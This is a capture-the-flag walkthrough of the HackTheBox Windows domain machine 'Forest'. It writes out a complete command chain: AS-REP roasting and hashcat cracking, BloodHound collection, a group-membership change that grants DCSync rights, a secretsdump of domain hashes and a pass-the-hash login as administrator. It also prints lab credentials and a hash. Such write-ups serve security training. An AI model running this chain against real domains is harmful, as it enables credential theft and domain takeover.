Forest writeup & walkthrough

Forest is an easy HackTheBox Windows AD machine exploiting AS-REP Roasting on a Domain Controller, then using BloodHound to find a DCSync path to Domain Admin.

HackTheBox - Forest

Access Path

no access => svc-alfresco => Domain Admin

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Unauthenticated SMB Enumeration:

• Tool: https://github.com/strikoder/OffensiveSecurity

# Check for no_auth_smb vulnerabilities
./no_auth_smb.sh $IP

Unauthenticated Kerberos Enumeration:

# AS-REP roasting without credentials
./no_auth_kerberos.sh $domain $IP

# Crack AS-REP hashes
hashcat -m 18200 hashes.asrep $rockyou

# Found credentials:
# svc-alfresco:s3rvice

BloodHound Enumeration

Collect AD Data:

# Method 1: NetExec with BloodHound
nxc ldap $IP -u $user -p $pass -d $domain --dns-server $IP --bloodhound -c all

# Method 2: RustHound (alternative)
# /opt/RustHound-CE/rusthound-ce -d $domain -u $user@$domain -p $pass -z

Attack Path Analysis:

# BloodHound shows:
# svc-alfresco → Account Operators (member)
# Account Operators → GenericWrite → Enterprise Key Admins
# Enterprise Key Admins → AddKeyCredentialLink → Domain (DC)

Privilege Escalation

IMPORTANT: Execute these steps extremely fast

Step 1: Add User to Target Group

# Add user to Enterprise Key Admins group
net rpc group addmem $targetgroup $user -U $domain/$user%$pass -S $dcip

Step 2: Grant DCSync Rights

# Write DCSync rights to user
dacledit.py -action 'write' -rights 'DCSync' -target-dn "dc=htb,dc=local" -principal $user $domain/$user:$pass

Step 3: DCSync Attack

# Dump domain secrets
secretsdump.py $domain/$user:$pass@$IP

Step 4: Administrator Access

# Pass-the-hash with administrator NTLM hash
evil-winrm -i $IP -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6